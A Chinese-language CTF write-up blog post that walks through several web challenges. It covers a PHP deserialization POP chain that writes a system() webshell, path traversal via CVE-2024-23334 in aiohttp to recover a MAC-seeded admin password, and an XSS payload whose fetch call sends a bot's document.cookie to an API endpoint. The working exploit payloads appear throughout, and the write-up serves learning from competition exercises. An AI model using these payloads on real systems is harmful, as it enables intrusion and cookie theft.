1 2 3 4 5 6 7 $exp =new happy;$exp ->sign_in=new ctf;$expp = new let_me;$expp ->let_me = "\nsystem(\$_GET[1]);" ;$expp ->time = new study;$exp ->sign_in->ctf=array ($expp ,'get_flag' );echo serialize ($exp );
最后肯定是需要进到getflag()
写文件进去执行rce,最后的代码里由于有.
可以被当成语句触发调用__tostring()
,然后利用数组调用($this->ctf)(1);
这里有换行是为了过滤前面的内容,提前闭合。至于调用study我不太明白,问的ai说的是保持链的生命周期。
原理是在unlink之前触发catch异常防止删掉code.php
,懂博主在说什么实操不怎么顺利。
学一下官p的思路
官p的关键点是 ($this->ctf)(1);
这里的ctf可以赋值为sleep,这样可以先执行睡眠1s再删除文件
1 2 3 4 5 6 7 8 $payload = new happy ();$payload ->sign_in = new ctf ();$exp = new let_me ();$exp ->let_me="?> <?php system('cat /flag');" ;$exp ->time=new ctf ();$exp ->time->ctf="sleep" ;$payload ->sign_in->ctf = array ($exp ,"get_flag" );echo base64_encode (serialize ($payload ));
由于类似于条件竞争,所以需要手速快一点或者用脚本。
臭皮的网站(复现) 源码给了提示
1 2 YWlvaHR0cD8gbmdpbng/IHJlYWRmaWxlPw== aiohttp? nginx? readfile?
网站是 aiohttp 框架,考察的是CVE-2024-23334
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 HTTP/1.1 200 OK Server: nginx/114.5 .14 Content-Type : text/x-python Etag: "17f68b1f9ac4ce00-fe6" Last-Modified: Thu, 19 Sep 2024 04:34 :35 GMT Content-Length: 4070 Accept-Ranges: bytes Date: Sun, 10 Nov 2024 13 :10 :38 GMT Connection: closeimport subprocessfrom aiohttp import webfrom aiohttp_session import setup as session_setup, get_sessionfrom aiohttp_session.cookie_storage import EncryptedCookieStorageimport osimport uuidimport secretsimport randomimport stringimport base64 random.seed(uuid.getnode()) adminname = "admin" def CreteKey (): key_bytes = secrets.token_bytes(32 ) key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii' ) return key_strdef authenticate (username, password ): if username == adminname and password =='' .join(random.choices(string.ascii_letters + string.digits, k=8 )): return True else : return False async def middleware (app, handler ): async def middleware_handler (request ): try : response = await handler(request) response.headers['Server' ] = 'nginx/114.5.14' return response except web.HTTPNotFound: response = await handler_404(request) response.headers['Server' ] = 'nginx/114.5.14' return response except Exception: response = await handler_500(request) response.headers['Server' ] = 'nginx/114.5.14' return response return middleware_handlerasync def handler_404 (request ): return web.FileResponse('./template/404.html' , status=404 )async def handler_500 (request ): return web.FileResponse('./template/500.html' , status=500 )async def index (request ): return web.FileResponse('./template/index.html' )async def login (request ): data = await request.post() username = data['username' ] password = data['password' ] if authenticate(username, password): session = await get_session(request) session['user' ] = 'admin' response = web.HTTPFound('/home' ) response.session = session return response else : return web.Response(text="账号或密码错误哦" , status=200 )async def home (request ): session = await get_session(request) user = session.get('user' ) if user == 'admin' : return web.FileResponse('./template/home.html' ) else : return web.HTTPFound('/' )async def upload (request ): session = await get_session(request) user = session.get('user' ) if user == 'admin' : reader = await request.multipart() file = await reader.next () if file: filename = './static/' + file.filename with open (filename,'wb' ) as f: while True : chunk = await file.read_chunk() if not chunk: break f.write(chunk) return web.HTTPFound("/list" ) else : response = web.HTTPFound('/home' ) return response else : return web.HTTPFound('/' )async def ListFile (request ): session = await get_session(request) user = session.get('user' ) command = "ls ./static" if user == 'admin' : result = subprocess.run(command, shell=True , check=True , text=True , capture_output=True ) files_list = result.stdout return web.Response(text="static目录下存在文件\n" +files_list) else : return web.HTTPFound('/' )async def init_app (): app = web.Application() app.router.add_static('/static/' , './static' , follow_symlinks=True ) session_setup(app, EncryptedCookieStorage(secret_key=CreteKey())) app.middlewares.append(middleware) app.router.add_route('GET' , '/' , index) app.router.add_route('POST' , '/' , login) app.router.add_route('GET' , '/home' , home) app.router.add_route('POST' , '/upload' , upload) app.router.add_route('GET' , '/list' , ListFile) return app web.run_app(init_app(), host='0.0.0.0' , port=80 )
这里 admin
密码使用了随机数,然而随机数的 randseed
设置如下,random.seed(uuid.getnode())
.
这里种子是固定值,即 MAC 地址,可以通过文件读取获取这个种子。
1 /static/../../sys/class/net/eth0/address
读取到mac地址
1 c6:7a:dd:01:e8:13#c67add01e813
1 2 3 4 5 import randomimport string random.seed(0xc67add01e813 )print ('' .join(random.choices(string.ascii_letters + string.digits, k=8 )))
得到密码就可以正常登入了
定位一下上传文件的代码,简单分析进行以下操作
最后直接用开始的目录穿越就可以得到flag了
PangBai 过家家(5)(复现) 在bot.ts
里有内容
1 2 3 4 5 6 7 8 await page.setCookie ({ name : 'FLAG' , value : process.env ['FLAG' ] || 'flag{test_flag}' , httpOnly : false , path : '/' , domain : 'localhost:3000' , sameSite : 'Strict' });
1 <img src=# onerror=alert (1 );
可以绕过但是不出网
跟踪附件中的后端源码,page.ts
中的 /box/:id
路由,会渲染我们的输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.get ('/box/:id' , async (ctx, next) => { const letter = Memory .get (ctx.params ['id' ]) await ctx.render ('letter' , <TmplProps >{ page_title : 'PangBai 过家家 (5)' , sub_title : '查看信件' , id : ctx.params ['id' ], hint_text : HINT_LETTERS [Math .floor (Math .random () * HINT_LETTERS .length )], data : letter ? { title : safe_html (letter.title ), content : safe_html (letter.content ) } : { title : TITLE_EMPTY , content : CONTENT_EMPTY }, error : letter ? null : '找不到该信件' }) })
但是输入的内容都经过了 safe_html
过滤
1 2 3 4 5 6 function safe_html (str: string ) { return str .replace (/<.*>/igm , '' ) .replace (/<\.*>/igm , '' ) .replace (/<.*>.*<\/.*>/igm , '' ) }
可见这只是一个正则替换,正则中各个标志的作用:
1 2 3 4 5 6 7 8 9 <script >fetch ('/api/send' , { method : 'POST' , headers : {'Content-Type' : 'application/json' }, body : JSON .stringify ({'title' : "Cookie" , 'content' : document .cookie }) }) </script >
还看的一种野生的方法,记录一下
1 <img src=# onerror=fetch ("/api/send" ,{method :'POST' ,headers :{'Content-Type' :'application/json' },body :JSON .stringify ({"title" :"123123123" ,"content" :document .cookie })});
大体是一致的思路,只是为了绕过xss的限制
ez_redis(复现) 这题考察是cve,直接扔链接了,好累
vulhub/redis/CVE-2022-0543/README.zh-cn.md at master · vulhub/vulhub (github.com)